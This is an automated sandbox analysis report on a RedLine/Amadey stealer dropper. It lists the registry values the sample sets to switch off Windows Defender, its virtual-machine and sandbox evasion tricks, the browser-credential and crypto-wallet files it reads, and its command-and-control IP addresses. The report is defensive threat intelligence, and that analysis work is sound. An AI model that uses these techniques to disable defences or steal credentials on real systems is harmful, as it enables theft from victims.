Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe TID: 5308	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe TID: 1848	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe TID: 4836	Thread sleep count: 2666 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe TID: 1260	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe			Jump to dropped file
Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe

Window / User API: threadDelayed 2666

Jump to behavior

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-2450
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_2-2575
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_1-2450

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

Code function: 0_2_00A45467 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00A45467

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A42390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00A42390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00322390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	1_2_00322390
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	2_2_010D2390

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: kxL91dA.exe, 00000005.00000002.327812187.0000000000A0A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllC

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

0_2_00A4202A

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A46F40 SetUnhandledExceptionFilter,	0_2_00A46F40
Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A46CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00A46CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00326F40 SetUnhandledExceptionFilter,	1_2_00326F40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00326CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00326CF0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D6F40 SetUnhandledExceptionFilter,	2_2_010D6F40
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D6CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_010D6CF0

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

Code function: 0_2_00A418A3 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_00A418A3

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

Code function: 0_2_00A47155 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00A47155

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

Code function: 0_2_00A42BFB GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

0_2_00A42BFB

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe

Code function: 3_2_00007FFBACE607CA GetUserNameA,

3_2_00007FFBACE607CA

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableIOAVProtection 1

Jump to behavior

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: kxL91dA.exe, 00000005.00000002.336955649.0000000005B00000.00000004.00000020.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.327812187.0000000000A0A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.3.sMt14vz.exe.49fac20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.kxL91dA.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sMt14vz.exe.49fac20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.267575199.00000000004E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.242565782.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kxL91dA.exe PID: 3228, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.3.21fvBVFMsn.exe.4a8da20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.21fvBVFMsn.exe.4a8da20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.241227286.0000000004A02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe, type: DROPPED

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match

File source: Process Memory Space: kxL91dA.exe PID: 3228, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.3.sMt14vz.exe.49fac20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.kxL91dA.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sMt14vz.exe.49fac20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.267575199.00000000004E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.242565782.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kxL91dA.exe PID: 3228, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 Native API	1 Windows Service	2 Bypass User Access Control	1 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Access Token Manipulation	1 Software Packing	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Service Execution	Logon Script (Mac)	1 Windows Service	1 Timestomp	NTDS	127 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Process Injection	1 DLL Side-Loading	LSA Secrets	331 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Bypass User Access Control	Cached Domain Credentials	11 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Masquerading	DCSync	231 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	231 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Rundll32	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
21fvBVFMsn.exe	77%	ReversingLabs	Win32.Trojan.RedLine
21fvBVFMsn.exe	56%	Virustotal		Browse
21fvBVFMsn.exe	100%	Avira	HEUR/AGEN.1252166
21fvBVFMsn.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	100%	Avira	HEUR/AGEN.1252166
C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	100%	Avira	HEUR/AGEN.1252166
C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	100%	Avira	HEUR/AGEN.1252166
C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe	72%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe	69%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	69%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	55%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe	46%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe	41%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	69%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	85%	ReversingLabs	ByteCode-MSIL.Trojan.Disabler
C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	96%	ReversingLabs	ByteCode-MSIL.Trojan.RedLine

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.21fvBVFMsn.exe.a40000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
1.0.sEm51bM.exe.320000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
2.2.sMt14vz.exe.10d0000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
5.0.kxL91dA.exe.4e0000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
1.3.sEm51bM.exe.4756820.0.unpack	100%	Avira	TR/Patched.Gen	Download File
1.2.sEm51bM.exe.320000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
0.3.21fvBVFMsn.exe.4a8da20.0.unpack	100%	Avira	HEUR/AGEN.1215503	Download File
0.0.21fvBVFMsn.exe.a40000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
2.0.sMt14vz.exe.10d0000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22Response0	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4(	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4(	0%	URL Reputation	safe
193.233.20.17:4139	0%	URL Reputation	safe
193.233.20.15/dF30Hn4m/index.php	0%	Avira URL Cloud	safe
193.233.20.15/dF30Hn4m/index.php	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
193.233.20.17:4139	true	URL Reputation: safe	unknown
193.233.20.15/dF30Hn4m/index.php	true	1%, Virustotal, Browse Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
